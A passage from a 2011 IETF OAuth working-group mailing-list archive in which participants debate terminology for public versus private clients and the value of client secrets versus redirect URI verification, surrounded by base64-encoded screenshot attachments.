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 --------------060208010300090103080103-- --------------070203000907050103050900-- From eran@hueniverse.com Sat Jul 23 09:38:55 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5C0B321F8A69 for ; Sat, 23 Jul 2011 09:38:55 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.066 X-Spam-Level: X-Spam-Status: No, score=-2.066 tagged_above=-999 required=5 tests=[AWL=-0.468, BAYES_00=-2.599, EXTRA_MPART_TYPE=1, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6cs31k2MkdGb for ; Sat, 23 Jul 2011 09:38:52 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 6557921F88B7 for ; Sat, 23 Jul 2011 09:38:52 -0700 (PDT) Received: (qmail 2986 invoked from network); 23 Jul 2011 16:38:51 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 23 Jul 2011 16:38:51 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Sat, 23 Jul 2011 09:38:51 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Sat, 23 Jul 2011 09:38:16 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxJKyrGLdylEPi2RQ6WdVYMylz2uQAKbVew Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F37840@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> <64930E85-923B-4811-8A6B-6A677B95F904@kiva.org> <90C41DD21FB7C64BB94121FBBC2E72345021F377C3@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2AAF88.4050807@lodderstedt.net> In-Reply-To: <4E2AAF88.4050807@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/related; boundary="_005_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_"; type="multipart/alternative" MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 23 Jul 2011 16:38:55 -0000 --_005_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_ Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_" --_000_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Client authentication can be very useful for imposing restrictions on the t= oken endpoint, as well as the reasons listed in 3.2.1. Personally, given the clear direction the web is taking where applications = are moving off hosted servers to mobile devices and in-browser software, I = believe that focusing OAuth 2.0 ability to identify a client based on a sec= ret is counterproductive. This is why my last rewrite put much more weight = on the redirection URI and clarifying registration requirements. OAuth 1.0 was highly criticized for failing to address client identity in p= ublic clients. I believe OAuth 2.0 offers a much better story, within the b= oundaries of what's possible today. Back to the terminology question, we need to find terms that directly trans= late to the client ability to authenticate using credentials of other means= . This is not about client identity or about trust. EHL From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] Sent: Saturday, July 23, 2011 4:25 AM To: Eran Hammer-Lahav Cc: Skylar Woodward; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration Am 22.07.2011 23:49, schrieb Eran Hammer-Lahav: In many cases you can verify a public client using a registered redirection= URI. I'm in doubt regarding "many". This kind of verification makes the assumpti= on that the evildoer uses a web application which requires a correct referi= ng to his site. I think client secrets (or other authentication schemes) are much more effe= ctive way of verifiying client identities. Or let me put it the other way around. If redirect uri verification is suff= icient in many cases. Why do we need a client secret? regards, Torsten. EHL From: Skylar Woodward [mailto:skylar@kiva.org] Sent: Friday, July 22, 2011 2:46 PM To: Eran Hammer-Lahav Cc: Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration Looks like Torsten already has capture my suggestion which is also what the= Kiva documentation uses... Verifiable/Forgeable identity. It's precise an= d avoids making a statement about trust, etc. But only developers need such simple one-word classifications. For end use= rs (e.g., people w/ accounts who approve access for an app) we're be provid= ing much more verbose explanations. For example. "This application's identi= ty has ben verified... still (caution, caution, caution)" or "This applic= ation's identity cannot be verified. Only approve this application if you a= bsolutely trust the application or link that sent you this page..." App users can't discern the significance of public vs. private credentials. To me, public credentials are not credentials at all. Yet another term to d= efine. Better to be precise. Another option (and terminology we use to help developers) Can Keep Secrets= / Can't Keep Secrets. Attached screenshots in case anyone is interested in how this plays out in = real-world UI (vs. specs). [cid:image001.png@01CC491A.C1B51830][cid:image002.png@01CC491A.C1B51830] On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav wrote: -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-b= ounces@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM To: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration 2.1 Client types I'm struggeling with the new terminology of "private" and "public" clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wordin= g misleading. I would suggest to change it to something like trusted/untruste= d or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The aut= henticated/unauthenticated pair is also not ideal because the terms describ= e the outcome, not the nature of the client. As for verifiable/forgeable, I= think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client cr= edentials. So a more verbose version would be 'public credentials/private c= redentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to de= scribe these two types. Any other suggestions? EHL _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

= Client authentication can be very useful for imposing restrictions o= n the token endpoint, as well as the reasons listed in 3.2.1.

 

Personally, given the clear direction the web is taking wh= ere applications are moving off hosted servers to mobile devices and in-bro= wser software, I believe that focusing OAuth 2.0 ability to identify a clie= nt based on a secret is counterproductive. This is why my last rewrite put = much more weight on the redirection URI and clarifying registration require= ments.

 

OAuth 1.0 was highly criticized for fa= iling to address client identity in public clients. I believe OAuth 2.0 off= ers a much better story, within the boundaries of what’s possible tod= ay.

 

Back to the terminology question, we need= to find terms that directly translate to the client ability to authenticat= e using credentials of other means. This is not about client identity or ab= out trust.

 

EHL

 

From: Torsten Lodderstedt [m= ailto:torsten@lodderstedt.net]
Sent: Saturday, July 23, 2011 4:2= 5 AM
To: Eran Hammer-Lahav
Cc: Skylar Woodward; OAuth W= G
Subject: Re: [OAUTH-WG] Issue 15, new client registration<= /o:p>

 

Am 22.07.2011 23:49, schrieb Eran Hammer-Lahav: =

In many cases you can verify a public client using a regi= stered redirection URI.


I'm i= n doubt regarding "many". This kind of verification makes the ass= umption that the evildoer uses a web application which requires a correct r= efering to his site.

I think client secrets (or other authenticatio= n schemes) are much more effective way of verifiying client identities.
=
Or let me put it the other way around. If redirect uri verification is = sufficient in many cases. Why do we need a client secret?

regards,Torsten.


 =

EHL

 =

From: Skylar Woodward [mailto:sky= lar@kiva.org]
Sent: Friday, July 22, 2011 2:46 PM
To:<= /b> Eran Hammer-Lahav
Cc: Torsten Lodderstedt; OAuth WG
Sub= ject: Re: [OAUTH-WG] Issue 15, new client registration

 

Looks like Torsten already has capture my suggestion which is als= o what the Kiva documentation uses… Verifiable/Forgeable identity. &n= bsp;It's precise and avoids making a statement about trust, etc.=

 

But only developers need such simple one-word classifications= .  For end users (e.g., people w/ accounts who approve access for an a= pp) we're be providing much more verbose explanations. For example. "T= his application's identity has ben verified… still (caution, caution,= caution)"  or  "This application's identity cannot be = verified. Only approve this application if you absolutely trust the applica= tion or link that sent you this page…"

=

 

A= pp users can't discern the significance of public vs. private credentials.<= o:p>

 

To me, public credentials are not credentials at al= l. Yet another term to define. Better to be precise.

 

Another option (and terminology we use to help developers) Can Keep Secre= ts / Can't Keep Secrets.

&nbs= p;

Attached screenshots in ca= se anyone is interested in how this plays out in real-world UI (vs. specs).=

 

<= div>

 

 

 

On Jul 22, 2011, at 11:12 PM, Eran Ha= mmer-Lahav wrote:








-----Original Message-----

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] O= n Behalf

Of Torsten Lodderstedt<= /p>

=

Sent: Wednesday, July 20, 2011 1:59 PM

<= /blockquote>

To: OAuth WG

Subject: Re:= [OAUTH-WG] Issue 15, new client registration

 

2.1 Client types

 

I'm struggeling with= the new terminology of "private" and "public"

clients. In my perception, the text just distinguis= hes clients which can be

authenticated and = such which cannot. This is fine but I consider the wording

misleading. I would suggest to change it to something like = trusted/untrusted

or authenticated/unauthen= ticated or Verifiable/Forgeable.


I'm open to changing the names.

I don't like trusted/untru= sted because OAuth does not define trust. The authenticated/unauthenticated= pair is also not ideal because the terms describe the outcome, not the nat= ure of the client. As for verifiable/forgeable, I think these terms are too= complicated for a casual reader.

My intention with public/private i= s to identify the nature of the client credentials. So a more verbose versi= on would be 'public credentials/private credentials'. This also works with = 'code' instead of 'credentials'.

It's clear from the past year of di= scussions that we need terminology to describe these two types.

Any = other suggestions?

EHL
__________________________________________= _____
OAuth mailing list
OAuth@ietf= .org
https:/= /www.ietf.org/mailman/listinfo/oauth

 

 

= --_000_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_-- --_005_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_ Content-Type: image/png; name="image001.png" Content-Description: image001.png Content-Disposition: inline; filename="image001.png"; size=33023; creation-date="Sat, 23 Jul 2011 16:38:49 GMT"; modification-date="Sat, 23 Jul 2011 16:38:49 GMT" Content-ID: Content-Transfer-Encoding: base64 iVBORw0KGgoAAAANSUhEUgAAAqAAAADXCAIAAABK5nTCAAAXh2lDQ1BJQ0MgUHJvZmlsZQAAeAGt WXk8lN/3v8/sM4xt7Pu+77Jn37NmJ2IY+xJjCGmxpEILSbZSyFq0CEkJoSJZCoXSIkSlkLJ+H6rP 9/PH7/vf73m95rnvOfecc8+958y959wBgKuOHBERimACICycRrU3MxR0dXMXxI4CLGAFzEAKYMi+ UREGdnZW4H8+P4YAtNU5KLel63+y/d8dzBS/KF8AIDu424cS5RsG4zoAEPW+EVQaAKgtfSL7aRFb +AyMWamwgTAu3cIBv3HjFvb5jXu2eRztjWCeCQBw9GQyNQAA+jmYLhjjGwDrIdIDgGEJpwSFA0AS hLGubyCZAgCXN8wjGxa2bwtnwFjS5196Av6FyWSff3SSyQH/4N9zgSXhgY2DoiJCyXHbX/4/X2Gh 0fB6bT/s8Js+gmZoD7ec8LpxBtEsHGHMCmPFwGhzpz/YOD7Q0WWLF6a7hvvY2MKYBcYU3ygjeC0B rAeKCdlnuaVniyeD4mdsAmM4KqDcqBiHv7giPtDI5g+PazB515bPGGCeRjIVRr/H7Yyg2W3ZsKXz VXiojdUfPO9PNd3SD9MRGL8oEwcYwzYgeGlUxy06bDNC3j/I1ALG8LgIw4jQ7Zjb4rGnRttvzUUU xhS/cKe/sscpZGNLmM4L0/OBFTACxkAQfu8DofCHCoIABW7/0n3/RXcA8eAzCAd+IAqW2ObwCkqi /sXAFJBh+QC4X+6PvOE2xQ/EwFLrf/l65xrm/uI/Mj7/SJiCD9s6/mhQrFacUVz7yy3I+NcujAnG GGOOMcVI/aXAI/2eBXXbPkt4Nn4gGtblB4/9155/zyr6H45/U3+vgf22VAjMEfR3bOC8bVnQP7os /1mZP2uBEkcpo1RRhigdlC5KEwii2FHcQA61A6WBMkDpobThPs1/rfMfqT/2ywH/7bWK2bY+BHyE LYd/1TS/WBrsK2C0LyKOGhQQSBM0gHcLP1lBi3BfeVlBZUUlJbC192zxALBgv72nQOzP/ksLSwZA Mxv29Z7/0nwnAGj4BgD+439pYlFwWCYA0DnrG02N2VYHUFsNGhAAIxxpXIAfiABJeP7KQA1oA31g AnYBW+AI3MBe4AsCYXupYD9IAIkgFaSDM+AcyAdFoARUgGvgJmgAzaAVdIJu0AdegFEwASbBLJgH P8AqBEFYiAiRIC5IABKDZCBlSAPShUwgK8gecoO8oQAoHIqGEqBkKB3KgvKhy1AldAO6A7VCj6F+ 6CX0FpqBvkMrCCSCHsGK4EOIIxQQGggDhCXCEeGJCEBEIuIRKYhTiFxEMeIqoh7RiuhGvEBMIGYR S0iApEOyI4WQckgNpBHSFumO9EdSkYeQacgcZDGyBtmE7EIOIieQc8hfKAyKhBJEycG+NEc5oXxR kahDqAxUPqoCVY96iBpEvUXNozbQRDQvWgathbZAu6ID0PvRqegcdBn6NroD/QI9if6BwWDYMRIY dTh+3TDBmAOYDMwFTC3mAaYf8x6zhMViubAyWB2sLZaMpWFTsXnYq9gW7AB2EvsTR4cTwCnjTHHu 